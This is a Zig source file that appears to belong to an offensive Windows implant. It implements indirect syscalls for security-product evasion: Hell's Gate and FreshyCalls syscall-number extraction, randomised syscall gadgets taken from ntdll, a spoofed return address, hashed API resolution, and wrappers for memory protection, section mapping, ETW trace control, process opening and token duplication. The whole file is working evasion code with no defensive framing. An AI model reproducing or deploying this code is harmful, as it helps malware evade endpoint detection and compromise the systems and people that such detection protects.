// Syscall dispatch, SSN extraction, indirect syscalls.
const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const resolve = @import("resolve.zig");
const pe = @import("pe.zig");

const FRESHY_MAX: usize = 1024;
const FreshyEntry = struct { hash: u32, rva: u32 };

pub const RUNTIME_FUNCTION = extern struct {
    BeginAddress: u32,
    EndAddress: u32,
    UnwindInfoAddress: u32,
};

var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
var g_syscall_count: usize = 0;
var g_ntdll_base: ?*anyopaque = null;
var g_init_done: bool = false;
var g_rand_state: u64 = 0;

var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
var g_freshy_count: usize = 0;
var g_freshy_ready: bool = false;

var g_fake_return_addr: usize = 0;
var g_ntdll_size: usize = 0;
pub var g_exc_begin: usize = 0;
pub var g_exc_count: usize = 0;

extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;

// xorshift64 PRNG for gadget selection.
pub fn xorshift64() u64 {
    var s = g_rand_state;
    s ^= s << 13;
    s ^= s >> 7;
    s ^= s << 17;
    g_rand_state = s;
    return s;
}

// FreshyCalls: SSN = sort index, immune to inline hooks.
fn build_freshy_table() void {
    const base = g_ntdll_base orelse return;
    const base_bytes: [*]u8 = @ptrCast(base);
    const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes));
    if (dos.e_magic != 0x5A4D) return;

    const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
        base_bytes + @as(usize, @intCast(dos.e_lfanew)),
    ));
    if (nt_hdrs.Signature != 0x00004550) return;

    const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
    if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;

    const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast(
        base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)),
    ));

    if (exp.NumberOfNames == 0) return;
    const names: [*]align(1) const u32 = @ptrCast(@alignCast(
        base_bytes + @as(usize, @intCast(exp.AddressOfNames)),
    ));
    const funcs: [*]align(1) const u32 = @ptrCast(@alignCast(
        base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)),
    ));
    const ords: [*]align(1) const u16 = @ptrCast(@alignCast(
        base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)),
    ));

    g_freshy_count = 0;
    const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
    var i: u32 = 0;
    while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
        const name_ptr: [*:0]const u8 = @ptrCast(@alignCast(
            base_bytes + @as(usize, @intCast(names[i])),
        ));
        const name = std.mem.sliceTo(name_ptr, 0);
        if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;

        const ordinal = ords[i];
        if (ordinal >= exp.NumberOfFunctions) continue;
        const rva = funcs[ordinal];
        if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;

        g_freshy_entries[g_freshy_count] = FreshyEntry{
            .hash = resolve.hash_ror13(name),
            .rva = rva,
        };
        g_freshy_count += 1;
    }

    std.mem.sort(FreshyEntry, g_freshy_entries[0..g_freshy_count], {}, struct {
        fn lt(_: void, a: FreshyEntry, b: FreshyEntry) bool {
            return a.rva < b.rva;
        }
    }.lt);
    g_freshy_ready = true;
}

fn extract_ssn_freshy(func_hash: u32) ?u16 {
    if (!g_freshy_ready) return null;
    for (0..g_freshy_count) |i| {
        if (g_freshy_entries[i].hash == func_hash) {
            return @as(u16, @intCast(i));
        }
    }
    return null;
}

// Extract SSN. FreshyCalls first, falls back to .pdata binary search + 0xB8 scan.
pub fn extract_ssn(func_hash: u32) ?u16 {
    if (!init_syscall()) return null;

    const base = g_ntdll_base orelse return null;
    const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null;
    const func_addr_base = @intFromPtr(func_addr);
    const base_addr = @intFromPtr(base);
    const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size;
    if (!in_ntdll) return null;
    const func_rva: u32 = @intCast(func_addr_base - base_addr);
    if (g_exc_count == 0) return null;
    const funcs: [*]align(1) const RUNTIME_FUNCTION = @ptrFromInt(g_exc_begin);
    var lo: usize = 0;
    var hi: usize = g_exc_count;
    while (lo < hi) {
        const mid = lo + (hi - lo) / 2;
        const entry = funcs[mid];
        if (func_rva < entry.BeginAddress) {
            hi = mid;
        } else if (func_rva >= entry.EndAddress) {
            lo = mid + 1;
        } else {
            const start_rva = entry.BeginAddress;
            const end_rva = entry.EndAddress;
            const scan_bytes: [*]const u8 = @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva);
            const scan_len = @min(end_rva - start_rva, 96);
            var j: usize = 0;
            while (j + 4 < scan_len) : (j += 1) {
                // 0xB8 = "mov eax, imm32" — the SSN follows in the next 4 bytes
                if (scan_bytes[j] == 0xB8) {
                    const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little);
                    if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) {
                        return @as(u16, @intCast(ssn));
                    }
                }
            }
            return null;
        }
    }
    return null;
}

// Seed PRNG, scan ntdll .text for syscall;ret gadgets + standalone ret,
// cache .pdata bounds, build FreshyCalls table. Runs once.
pub fn init_syscall() bool {
    if (g_init_done and g_ntdll_base != null) return true;
    const ntdll_hash = resolve.hash_ror13("ntdll.dll");
    g_ntdll_base = resolve.get_module_by_hash(ntdll_hash);
    if (g_ntdll_base == null) return false;

    var stack_var: u64 = 0;
    g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
    if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| {
        const GetTickCount64 = @as(*const fn () callconv(nt.WINAPI) u64, @ptrCast(p));
        g_rand_state ^= GetTickCount64();
    }

    const base_addr = g_ntdll_base.?;
    const base_bytes: [*]const u8 = @ptrCast(base_addr);
    const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes));
    if (dos.e_magic != 0x5A4D) return false;

    const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
        base_bytes + @as(usize, @intCast(dos.e_lfanew)),
    ));
    if (nt_hdrs.Signature != 0x00004550) return false;
    g_ntdll_size = nt_hdrs.OptionalHeader.SizeOfImage;

    g_syscall_count = 0;

    const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
    const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(
        @as([*]u8, @ptrCast(@constCast(base_bytes))) + section_off,
    ));

    var text_va: usize = 0;
    var text_size: usize = 0;
    for (0..nt_hdrs.FileHeader.NumberOfSections) |si| {
        const sec = &sections[si];
        if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) {
            text_va = sec.VirtualAddress;
            text_size = sec.VirtualSize;
        }
        if (std.mem.eql(u8, sec.Name[0..6], ".pdata") and sec.Name[6] == 0)
        {
            g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(base_addr)) + sec.VirtualAddress);
            g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
        }
    }
    if (text_va == 0 or text_size == 0) return false;

    var j: usize = text_va;
    const scan_end: usize = text_va + text_size;
    while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
        if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
            g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
            g_syscall_count += 1;
        }
        if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
            if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
                g_fake_return_addr = @intFromPtr(&base_bytes[j]);
            }
        }
    }

    if (g_syscall_count == 0) return false;

    build_freshy_table();

    g_init_done = true;
    return true;
}

pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
    const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
    const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
    const gadget = g_syscall_addrs[idx];
    const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
    hells_gate(@as(u32, ssn), gadget, fake);
    const a = [11]usize{
        if (arg_count > 0) args[0] else 0,
        if (arg_count > 1) args[1] else 0,
        if (arg_count > 2) args[2] else 0,
        if (arg_count > 3) args[3] else 0,
        if (arg_count > 4) args[4] else 0,
        if (arg_count > 5) args[5] else 0,
        if (arg_count > 6) args[6] else 0,
        if (arg_count > 7) args[7] else 0,
        if (arg_count > 8) args[8] else 0,
        if (arg_count > 9) args[9] else 0,
        if (arg_count > 10) args[10] else 0,
    };
    return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
}

fn ntstatus(r: usize) windows.NTSTATUS {
    return @enumFromInt(@as(u32, @truncate(r)));
}

// ---- NT API wrappers ----
// Ref: https://ntdoc.m417z.com

// https://ntdoc.m417z.com/ntdelayexecution
pub fn nt_delay_execution(alertable: windows.BOOLEAN, interval: *const windows.LARGE_INTEGER) windows.NTSTATUS {
    const args = [_]usize{ @as(usize, @intFromEnum(alertable)), @intFromPtr(interval) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
}

// https://ntdoc.m417z.com/ntsetinformationthread
pub fn nt_set_information_thread(thread_handle: windows.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) windows.NTSTATUS {
    const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
}

// https://ntdoc.m417z.com/ntclose
pub fn nt_close(handle: windows.HANDLE) windows.NTSTATUS {
    const args = [_]usize{@intFromPtr(handle)};
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
}

pub fn nt_current_process() windows.HANDLE {
    return @as(windows.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF));
}
pub fn nt_current_thread() windows.HANDLE {
    return @as(windows.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE));
}

// https://ntdoc.m417z.com/ntopenprocess
pub fn nt_open_process(process_handle: *windows.HANDLE, desired_access: windows.DWORD, object_attributes: *const nt.OBJECT_ATTRIBUTES, client_id: *const nt.CLIENT_ID) windows.NTSTATUS {
    const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
}

// https://ntdoc.m417z.com/ntprotectvirtualmemory
pub fn nt_protect_virtual_memory(process_handle: windows.HANDLE, base_address: *?*anyopaque, region_size: *windows.SIZE_T, new_protect: windows.ULONG, old_protect: *windows.ULONG) windows.NTSTATUS {
    const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
}

// https://ntdoc.m417z.com/nttracecontrol
pub fn nt_trace_control(code: windows.ULONG, input: ?*anyopaque, input_len: windows.ULONG, output: ?*anyopaque, output_len: windows.ULONG, ret_len: *windows.ULONG) windows.NTSTATUS {
    const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
}

// https://ntdoc.m417z.com/ntopensection
pub fn nt_open_section(section_handle: *windows.HANDLE, desired_access: windows.DWORD, object_attributes: *nt.OBJECT_ATTRIBUTES) windows.NTSTATUS {
    const args = [_]usize{ @intFromPtr(section_handle), @as(usize, desired_access), @intFromPtr(object_attributes) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenSection"), &args, 3));
}

// https://ntdoc.m417z.com/ntmapviewofsection
pub fn nt_map_view_of_section(section_handle: windows.HANDLE, process_handle: windows.HANDLE, base_address: *?*anyopaque, zero_bits: windows.ULONG_PTR, commit_size: windows.SIZE_T, section_offset: ?*windows.LARGE_INTEGER, view_size: *windows.SIZE_T, inherit_disposition: u32, allocation_type: windows.ULONG, protect: windows.ULONG) windows.NTSTATUS {
    const args = [_]usize{ @intFromPtr(section_handle), @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, @intCast(zero_bits)), @as(usize, commit_size), if (section_offset) |off| @intFromPtr(off) else @as(usize, 0), @intFromPtr(view_size), @as(usize, inherit_disposition), @as(usize, allocation_type), @as(usize, protect) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtMapViewOfSection"), &args, 10));
}

// https://ntdoc.m417z.com/ntunmapviewofsection
pub fn nt_unmap_view_of_section(process_handle: windows.HANDLE, base_address: ?*anyopaque) windows.NTSTATUS {
    const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtUnmapViewOfSection"), &args, 2));
}

// https://ntdoc.m417z.com/ntopenprocesstoken
pub fn nt_open_process_token(process_handle: windows.HANDLE, desired_access: windows.DWORD, token_handle: *windows.HANDLE) windows.NTSTATUS {
    const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(token_handle) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcessToken"), &args, 3));
}

// https://ntdoc.m417z.com/ntduplicatetoken
pub fn nt_duplicate_token(existing_token: windows.HANDLE, desired_access: windows.DWORD, object_attributes: ?*nt.OBJECT_ATTRIBUTES, effective_only: windows.BOOLEAN, token_type: windows.DWORD, new_token: *windows.HANDLE) windows.NTSTATUS {
    const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, @intFromEnum(effective_only)), @as(usize, token_type), @intFromPtr(new_token) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6));
}